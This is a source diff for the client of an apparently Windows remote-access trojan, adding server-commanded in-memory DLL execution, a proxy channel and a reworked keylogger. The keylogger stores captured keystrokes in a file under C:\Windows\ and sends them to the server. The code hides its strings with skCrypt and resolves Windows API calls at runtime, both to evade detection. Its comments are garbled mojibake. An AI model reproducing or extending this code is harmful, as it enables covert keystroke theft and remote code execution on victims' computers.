@@ -110,22 +131,164 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size)
|
|||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
typedef struct DllExecParam
|
||||||
|
{
|
||||||
|
DllExecuteInfo info;
|
||||||
|
PluginParam param;
|
||||||
|
BYTE* buffer;
|
||||||
|
DllExecParam(const DllExecuteInfo& dll, const PluginParam& arg, BYTE* data) : info(dll), param(arg) {
|
||||||
|
buffer = new BYTE[info.Size];
|
||||||
|
memcpy(buffer, data, info.Size);
|
||||||
|
}
|
||||||
|
~DllExecParam() {
|
||||||
|
SAFE_DELETE_ARRAY(buffer);
|
||||||
|
}
|
||||||
|
}DllExecParam;
|
||||||
|
|
||||||
|
|
||||||
|
class MemoryDllRunner : public DllRunner {
|
||||||
|
protected:
|
||||||
|
HMEMORYMODULE m_mod;
|
||||||
|
public:
|
||||||
|
MemoryDllRunner() : m_mod(nullptr) {}
|
||||||
|
virtual void* LoadLibraryA(const char* data, int size) {
|
||||||
|
return (m_mod = ::MemoryLoadLibrary(data, size));
|
||||||
|
}
|
||||||
|
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
|
||||||
|
return ::MemoryGetProcAddress((HMEMORYMODULE)mod, lpProcName);
|
||||||
|
}
|
||||||
|
virtual BOOL FreeLibrary(void* mod) {
|
||||||
|
::MemoryFreeLibrary((HMEMORYMODULE)mod);
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
DWORD WINAPI ExecuteDLLProc(LPVOID param) {
|
||||||
|
DllExecParam* dll = (DllExecParam*)param;
|
||||||
|
DllExecuteInfo info = dll->info;
|
||||||
|
PluginParam pThread = dll->param;
|
||||||
|
#ifdef _DEBUG
|
||||||
|
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
|
||||||
|
DllRunner* runner = new DefaultDllRunner(info.Name);
|
||||||
|
#else
|
||||||
|
DllRunner* runner = new MemoryDllRunner();
|
||||||
|
#endif
|
||||||
|
HMEMORYMODULE module = runner->LoadLibraryA((char*)dll->buffer, info.Size);
|
||||||
|
if (module) {
|
||||||
|
switch (info.CallType)
|
||||||
|
{
|
||||||
|
case CALLTYPE_DEFAULT:
|
||||||
|
while (S_CLIENT_EXIT != *pThread.Exit)
|
||||||
|
Sleep(1000);
|
||||||
|
break;
|
||||||
|
case CALLTYPE_IOCPTHREAD: {
|
||||||
|
PTHREAD_START_ROUTINE proc = (PTHREAD_START_ROUTINE)runner->GetProcAddress(module, "run");
|
||||||
|
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
|
||||||
|
if (proc) {
|
||||||
|
proc(&pThread);
|
||||||
|
}else {
|
||||||
|
while (S_CLIENT_EXIT != *pThread.Exit)
|
||||||
|
Sleep(1000);
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
runner->FreeLibrary(module);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Mprintf("MemoryLoadLibrary '%s' failed\n", info.Name);
|
||||||
|
}
|
||||||
|
SAFE_DELETE(dll);
|
||||||
|
SAFE_DELETE(runner);
|
||||||
|
return 0x20250529;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI SendKeyboardRecord(LPVOID lParam) {
|
||||||
|
CManager* pMgr = (CManager*)lParam;
|
||||||
|
if (pMgr) {
|
||||||
|
pMgr->Reconnect();
|
||||||
|
pMgr->Notify();
|
||||||
|
}
|
||||||
|
return 0xDead0001;
|
||||||
|
}
|
||||||
|
|
||||||
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||||
{
|
{
|
||||||
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
|
||||||
if ((m_ulThreadCount = GetAvailableIndex()) == -1) {
|
if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) {
|
||||||
if (!isExit) {
|
return Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
|
||||||
Mprintf("CKernelManager: The number of threads exceeds the limit.\n");
|
|
||||||
return;
|
|
||||||
}
|
}
|
||||||
}
|
else if (!isExit) {
|
||||||
else if (!isExit){
|
|
||||||
m_hThread[m_ulThreadCount].p = nullptr;
|
m_hThread[m_ulThreadCount].p = nullptr;
|
||||||
m_hThread[m_ulThreadCount].conn = m_conn;
|
m_hThread[m_ulThreadCount].conn = m_conn;
|
||||||
}
|
}
|
||||||
|
|
||||||
switch(szBuffer[0])
|
switch (szBuffer[0])
|
||||||
{
|
{
|
||||||
|
case CMD_AUTHORIZATION: {
|
||||||
|
HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE");
|
||||||
|
hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE");
|
||||||
|
#ifndef _DEBUG
|
||||||
|
if (hMutex == NULL) // û<>л<EFBFBD><D0BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD>
|
||||||
|
break;
|
||||||
|
#endif
|
||||||
|
CloseHandle(hMutex);
|
||||||
|
|
||||||
|
char buf[100] = {}, *passCode = buf + 5;
|
||||||
|
memcpy(buf, szBuffer, min(sizeof(buf), ulLength));
|
||||||
|
std::string masterHash(skCrypt(MASTER_HASH));
|
||||||
|
const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str();
|
||||||
|
if (passCode[0] == 0) {
|
||||||
|
std::string devId = getDeviceID();
|
||||||
|
memcpy(buf + 5, devId.c_str(), devId.length()); // 16<31>ֽ<EFBFBD>
|
||||||
|
memcpy(buf + 32, pwdHash, 64); // 64<36>ֽ<EFBFBD>
|
||||||
|
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||||||
|
} else {
|
||||||
|
int* days = (int*)(buf + 1);
|
||||||
|
config* cfg = pwdHash == masterHash ? new config : new iniFile;
|
||||||
|
cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode);
|
||||||
|
cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64);
|
||||||
|
delete cfg;
|
||||||
|
g_bExit = S_SERVER_EXIT;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case CMD_EXECUTE_DLL: {
|
||||||
|
#ifdef _WIN64
|
||||||
|
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||||
|
const int sz = 1 + sizeof(DllExecuteInfo);
|
||||||
|
if (ulLength < sz)break;
|
||||||
|
DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
|
||||||
|
const char* md5 = info->Md5;
|
||||||
|
auto find = m_MemDLL.find(md5);
|
||||||
|
if (find == m_MemDLL.end() && ulLength == sz) {
|
||||||
|
// <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>а<EFBFBD><D0B0><EFBFBD>DLL<4C><4C><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB>˼<EFBFBD><CBBC>Ȿ<EFBFBD><E2B1BE><EFBFBD>Ƿ<EFBFBD><C7B7>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>д<EFBFBD><D0B4><EFBFBD>
|
||||||
|
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
|
||||||
|
if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) {
|
||||||
|
if (md5[0]) m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
|
||||||
|
data = szBuffer + sz;
|
||||||
|
}
|
||||||
|
if (data) {
|
||||||
|
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn);
|
||||||
|
CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data), 0, NULL));
|
||||||
|
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case COMMAND_PROXY: {
|
||||||
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||||
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
case COMMAND_SHARE:
|
case COMMAND_SHARE:
|
||||||
if (ulLength > 2) {
|
if (ulLength > 2) {
|
||||||
switch (szBuffer[1]) {
|
switch (szBuffer[1]) {
|
||||||
@@ -157,8 +320,12 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
break;
|
break;
|
||||||
case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
|
case COMMAND_KEYBOARD: //<2F><><EFBFBD>̼<EFBFBD>¼
|
||||||
{
|
{
|
||||||
|
if (m_hKeyboard) {
|
||||||
|
CloseHandle(CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL));
|
||||||
|
} else {
|
||||||
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true);
|
||||||
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
m_hThread[m_ulThreadCount++].h = CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);;
|
||||||
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -194,18 +361,17 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
case COMMAND_BYE:
|
case COMMAND_BYE:
|
||||||
{
|
{
|
||||||
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
BYTE bToken = COMMAND_BYE;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
m_ClientObject->Send2Server((char*)&bToken, 1);
|
||||||
g_bExit = S_CLIENT_EXIT;
|
g_bExit = S_CLIENT_EXIT;
|
||||||
OutputDebugStringA("======> Client exit \n");
|
Mprintf("======> Client exit \n");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
case SERVER_EXIT:
|
case SERVER_EXIT:
|
||||||
{
|
{
|
||||||
BYTE bToken = SERVER_EXIT;// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
// <20><><EFBFBD>ض<EFBFBD><D8B6>˳<EFBFBD>
|
||||||
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
|
||||||
g_bExit = S_SERVER_EXIT;
|
g_bExit = S_SERVER_EXIT;
|
||||||
OutputDebugStringA("======> Server exit \n");
|
Mprintf("======> Server exit \n");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -20,6 +20,11 @@
|
|||||||
#include <TlHelp32.h>
|
#include <TlHelp32.h>
|
||||||
#include "LoginServer.h"
|
#include "LoginServer.h"
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>þ<EFBFBD><C3BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôͨѶЭ<D1B6><D0AD>
|
||||||
|
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect = false);
|
||||||
|
|
||||||
|
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit);
|
||||||
|
|
||||||
class ActivityWindow {
|
class ActivityWindow {
|
||||||
public:
|
public:
|
||||||
std::string Check(DWORD threshold_ms = 6000) {
|
std::string Check(DWORD threshold_ms = 6000) {
|
||||||
@@ -72,26 +77,15 @@ private:
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
// <20>߳<EFBFBD><DFB3><EFBFBD>Ϣ<EFBFBD>ṹ<EFBFBD><E1B9B9>, <20><><EFBFBD><EFBFBD>3<EFBFBD><33><EFBFBD><EFBFBD>Ա: <20><><EFBFBD><EFBFBD>״̬(run)<29><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>(h)<29><>ͨѶ<CDA8>ͻ<EFBFBD><CDBB><EFBFBD>(p).
|
|
||||||
struct ThreadInfo
|
|
||||||
{
|
|
||||||
BOOL run;
|
|
||||||
HANDLE h;
|
|
||||||
IOCPClient *p;
|
|
||||||
void* user;
|
|
||||||
CONNECT_ADDRESS* conn;
|
|
||||||
ThreadInfo() : run(TRUE), h(NULL), p(NULL), user(nullptr), conn(nullptr){ }
|
|
||||||
};
|
|
||||||
|
|
||||||
class CKernelManager : public CManager
|
class CKernelManager : public CManager
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
CONNECT_ADDRESS* m_conn;
|
CONNECT_ADDRESS* m_conn;
|
||||||
HINSTANCE m_hInstance;
|
HINSTANCE m_hInstance;
|
||||||
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance);
|
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb);
|
||||||
virtual ~CKernelManager();
|
virtual ~CKernelManager();
|
||||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||||
|
ThreadInfo* m_hKeyboard;
|
||||||
ThreadInfo m_hThread[MAX_THREADNUM];
|
ThreadInfo m_hThread[MAX_THREADNUM];
|
||||||
// <20><>ֵ<EFBFBD><D6B5>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD>¼<EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱm_hThread<61><64>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>³<EFBFBD><C2B3><EFBFBD><EFBFBD>쳣
|
// <20><>ֵ<EFBFBD><D6B5>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڼ<EFBFBD>¼<EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱm_hThread<61><64>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>³<EFBFBD><C2B3><EFBFBD><EFBFBD>쳣
|
||||||
// <20><><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><D2BD><EFBFBD>ֵ<EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD><EFBFBD>Ϊ"<22><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>±<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_hThread<61><64><EFBFBD><EFBFBD>ָλ<D6B8>ÿ<EFBFBD><C3BF>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5>̷߳<DFB3><CCB7><EFBFBD><EFBFBD>ڸ<EFBFBD>λ<EFBFBD><CEBB>
|
// <20><><EFBFBD><EFBFBD><EFBFBD>ҽ<EFBFBD><D2BD><EFBFBD>ֵ<EFBFBD>ĺ<EFBFBD><C4BA><EFBFBD><EFBFBD><EFBFBD>Ϊ"<22><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD><DFB3>±<EFBFBD>"<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>m_hThread<61><64><EFBFBD><EFBFBD>ָλ<D6B8>ÿ<EFBFBD><C3BF>ã<EFBFBD><C3A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>µ<EFBFBD><C2B5>̷߳<DFB3><CCB7><EFBFBD><EFBFBD>ڸ<EFBFBD>λ<EFBFBD><CEBB>
|
||||||
|
|||||||
@@ -2,8 +2,12 @@
|
|||||||
//
|
//
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
|
#include "Common.h"
|
||||||
#include "KeyboardManager.h"
|
#include "KeyboardManager.h"
|
||||||
#include <tchar.h>
|
#include <tchar.h>
|
||||||
|
|
||||||
|
#if ENABLE_KEYBOARD
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
@@ -11,24 +15,25 @@
|
|||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <winbase.h>
|
#include <winbase.h>
|
||||||
#include <winuser.h>
|
#include <winuser.h>
|
||||||
|
#include "keylogger.h"
|
||||||
|
#include <iniFile.h>
|
||||||
|
|
||||||
#define FILE_PATH "\\MODIf.html"
|
|
||||||
#define CAPTION_SIZE 1024
|
#define CAPTION_SIZE 1024
|
||||||
|
|
||||||
CKeyboardManager1::CKeyboardManager1(CClientSocket *pClient, int n, void* user) : CManager(pClient)
|
CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user) : CManager(pClient)
|
||||||
{
|
{
|
||||||
sendStartKeyBoard();
|
m_bIsOfflineRecord = offline;
|
||||||
WaitForDialogOpen();
|
|
||||||
sendOfflineRecord();
|
|
||||||
|
|
||||||
GetSystemDirectory(m_strRecordFile, sizeof(m_strRecordFile));
|
char path[MAX_PATH] = { "C:\\Windows\\" };
|
||||||
lstrcat(m_strRecordFile, FILE_PATH);
|
GET_FILEPATH(path, skCrypt(KEYLOG_FILE));
|
||||||
|
strcpy_s(m_strRecordFile, path);
|
||||||
|
m_Buffer = new CircularBuffer(m_strRecordFile);
|
||||||
|
|
||||||
m_bIsWorking = true;
|
m_bIsWorking = true;
|
||||||
dKeyBoardSize = 0;
|
|
||||||
|
|
||||||
m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
|
||||||
m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
|
||||||
|
SetReady(TRUE);
|
||||||
}
|
}
|
||||||
|
|
||||||
CKeyboardManager1::~CKeyboardManager1()
|
CKeyboardManager1::~CKeyboardManager1()
|
||||||
@@ -38,6 +43,15 @@ CKeyboardManager1::~CKeyboardManager1()
|
|||||||
WaitForSingleObject(m_hSendThread, INFINITE);
|
WaitForSingleObject(m_hSendThread, INFINITE);
|
||||||
CloseHandle(m_hWorkThread);
|
CloseHandle(m_hWorkThread);
|
||||||
CloseHandle(m_hSendThread);
|
CloseHandle(m_hSendThread);
|
||||||
|
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
||||||
|
delete m_Buffer;
|
||||||
|
}
|
||||||
|
|
||||||
|
void CKeyboardManager1::Notify() {
|
||||||
|
if (NULL == this)
|
||||||
|
return;
|
||||||
|
sendStartKeyBoard();
|
||||||
|
WaitForDialogOpen();
|
||||||
}
|
}
|
||||||
|
|
||||||
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
||||||
@@ -46,14 +60,15 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
|
|||||||
NotifyDialogIsOpen();
|
NotifyDialogIsOpen();
|
||||||
|
|
||||||
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
|
if (lpBuffer[0] == COMMAND_KEYBOARD_OFFLINE) {
|
||||||
|
m_bIsOfflineRecord = lpBuffer[1];
|
||||||
|
iniFile cfg(CLIENT_PATH);
|
||||||
|
cfg.SetStr("settings", "kbrecord", m_bIsOfflineRecord ? "Yes" : "No");
|
||||||
}
|
}
|
||||||
|
|
||||||
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
|
if (lpBuffer[0] == COMMAND_KEYBOARD_CLEAR) {
|
||||||
DeleteFile(m_strRecordFile);
|
m_Buffer->Clear();
|
||||||
HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL,
|
GET_PROCESS_EASY(DeleteFileA);
|
||||||
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
|
DeleteFileA(m_strRecordFile);
|
||||||
CloseHandle(hFile);
|
|
||||||
dKeyBoardSize = 0;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -61,9 +76,9 @@ int CKeyboardManager1::sendStartKeyBoard()
|
|||||||
{
|
{
|
||||||
BYTE bToken[2];
|
BYTE bToken[2];
|
||||||
bToken[0] = TOKEN_KEYBOARD_START;
|
bToken[0] = TOKEN_KEYBOARD_START;
|
||||||
bToken[1] = (BYTE)true;
|
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||||
|
|
||||||
return Send((LPBYTE)&bToken[0], sizeof(bToken));
|
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -71,50 +86,22 @@ int CKeyboardManager1::sendKeyBoardData(LPBYTE lpData, UINT nSize)
|
|||||||
{
|
{
|
||||||
int nRet = -1;
|
int nRet = -1;
|
||||||
DWORD dwBytesLength = 1 + nSize;
|
DWORD dwBytesLength = 1 + nSize;
|
||||||
|
GET_PROCESS(DLLS[KERNEL], LocalAlloc);
|
||||||
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
|
LPBYTE lpBuffer = (LPBYTE)LocalAlloc(LPTR, dwBytesLength);
|
||||||
|
|
||||||
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
|
lpBuffer[0] = TOKEN_KEYBOARD_DATA;
|
||||||
memcpy(lpBuffer + 1, lpData, nSize);
|
memcpy(lpBuffer + 1, lpData, nSize);
|
||||||
|
|
||||||
nRet = Send((LPBYTE)lpBuffer, dwBytesLength);
|
nRet = CManager::Send((LPBYTE)lpBuffer, dwBytesLength);
|
||||||
|
GET_PROCESS(DLLS[KERNEL], LocalFree);
|
||||||
LocalFree(lpBuffer);
|
LocalFree(lpBuffer);
|
||||||
|
|
||||||
return nRet;
|
return nRet;
|
||||||
}
|
}
|
||||||
|
|
||||||
int CKeyboardManager1::sendOfflineRecord(DWORD dwRead)
|
|
||||||
{
|
|
||||||
int nRet = 0;
|
|
||||||
DWORD dwSize = 0;
|
|
||||||
DWORD dwBytesRead = 0;
|
|
||||||
HANDLE hFile = CreateFile(m_strRecordFile, GENERIC_READ, FILE_SHARE_READ,
|
|
||||||
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
||||||
|
|
||||||
if (hFile != INVALID_HANDLE_VALUE) {
|
|
||||||
dwSize = GetFileSize(hFile, NULL);
|
|
||||||
dKeyBoardSize = dwSize;
|
|
||||||
if (0 != dwRead) {
|
|
||||||
SetFilePointer(hFile, dwRead, NULL, FILE_BEGIN);
|
|
||||||
dwSize -= dwRead;
|
|
||||||
}
|
|
||||||
|
|
||||||
TCHAR *lpBuffer = new TCHAR[dwSize];
|
|
||||||
ReadFile(hFile, lpBuffer, dwSize, &dwBytesRead, NULL);
|
|
||||||
|
|
||||||
// <20><><EFBFBD><EFBFBD>
|
|
||||||
for (int i = 0; i < (dwSize/sizeof(TCHAR)); i++)
|
|
||||||
lpBuffer[i] ^= '`';
|
|
||||||
|
|
||||||
nRet = sendKeyBoardData((LPBYTE)lpBuffer, dwSize);
|
|
||||||
delete[] lpBuffer;
|
|
||||||
}
|
|
||||||
CloseHandle(hFile);
|
|
||||||
return nRet;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
std::string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
|
std::string GetKey(int Key) // <20>жϼ<D0B6><CFBC>̰<EFBFBD><CCB0><EFBFBD>ʲô<CAB2><C3B4>
|
||||||
{
|
{
|
||||||
|
GET_PROCESS(DLLS[USER32], GetKeyState);
|
||||||
std::string KeyString = "";
|
std::string KeyString = "";
|
||||||
//<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
//<2F>жϷ<D0B6><CFB7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
|
const int KeyPressMask=0x80000000; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>볣<EFBFBD><EBB3A3>
|
||||||
@@ -124,207 +111,207 @@ std::string GetKey(int Key) //
|
|||||||
switch(Key) {
|
switch(Key) {
|
||||||
case 186:
|
case 186:
|
||||||
if(IS)
|
if(IS)
|
||||||
KeyString = ":";
|
KeyString = skCrypt(":");
|
||||||
else
|
else
|
||||||
KeyString = ";";
|
KeyString = skCrypt(";");
|
||||||
break;
|
break;
|
||||||
case 187:
|
case 187:
|
||||||
if(IS)
|
if(IS)
|
||||||
KeyString = "+";
|
KeyString = skCrypt("+");
|
||||||
else
|
else
|
||||||
KeyString = "=";
|
KeyString = skCrypt("=");
|
||||||
break;
|
break;
|
||||||
case 188:
|
case 188:
|
||||||
if(IS)
|
if(IS)
|
||||||
KeyString = "<";
|
KeyString = skCrypt("<");
|
||||||
else
|
else
|
||||||
KeyString = ",";
|
KeyString = skCrypt(",");
|
||||||
break;
|
break;
|
||||||
case 189:
|
case 189:
|
||||||
if(IS)
|
if(IS)
|
||||||
KeyString = "_";
|
KeyString = skCrypt("_");
|
||||||
else
|
else
|
||||||
KeyString = "-";
|
KeyString = skCrypt("-");
|
||||||
break;
|
break;
|
||||||
case 190:
|
case 190:
|
||||||
if(IS)
|
if(IS)
|
||||||
KeyString = ">";
|
KeyString = skCrypt(">");
|
||||||
else
|
else
|
||||||
KeyString = ".";
|
KeyString = skCrypt(".");
|
||||||
break;
|
break;
|
||||||
case 191:
|
case 191:
|
||||||
if(IS)
|
if(IS)
|
||||||
KeyString = "?";
|
KeyString = skCrypt("?");
|
||||||
else
|
else
|
||||||
KeyString = "/";
|
KeyString = skCrypt("/");
|
||||||
break;
|
break;
|
||||||
case 192:
|
case 192:
|
||||||
if(IS)
|
if(IS)
|
||||||
KeyString = "~";
|
KeyString = skCrypt("~");
|
||||||
else
|
else
|
||||||
KeyString = "`";
|
KeyString = skCrypt("`");
|
||||||
break;
|
break;
|
||||||
case 219:
|
case 219:
|
||||||
if(IS)
|
if(IS)
|
||||||
KeyString = "{";
|
KeyString = skCrypt("{");
|
||||||
else
|
else
|
||||||
KeyString = "[";
|
KeyString = skCrypt("[");
|
||||||
break;
|
break;
|
||||||
case 220:
|
case 220:
|
||||||
if(IS)
|
if(IS)
|
||||||
KeyString = "|";
|
KeyString = skCrypt("|");
|
||||||
else
|
else
|
||||||
KeyString = "\\";
|
KeyString = skCrypt("\\");
|
||||||
break;
|
break;
|
||||||
case 221:
|
case 221:
|
||||||
if(IS)
|
if(IS)
|
||||||
KeyString = "}";
|
KeyString = skCrypt("}");
|
||||||
else
|
else
|
||||||
KeyString = "]";
|
KeyString = skCrypt("]");
|
||||||
break;
|
break;
|
||||||
case 222:
|
case 222:
|
||||||
if(IS)
|
if(IS)
|
||||||
KeyString = '"';
|
KeyString = '"';
|
||||||
else
|
else
|
||||||
KeyString = "'";
|
KeyString = skCrypt("'");
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
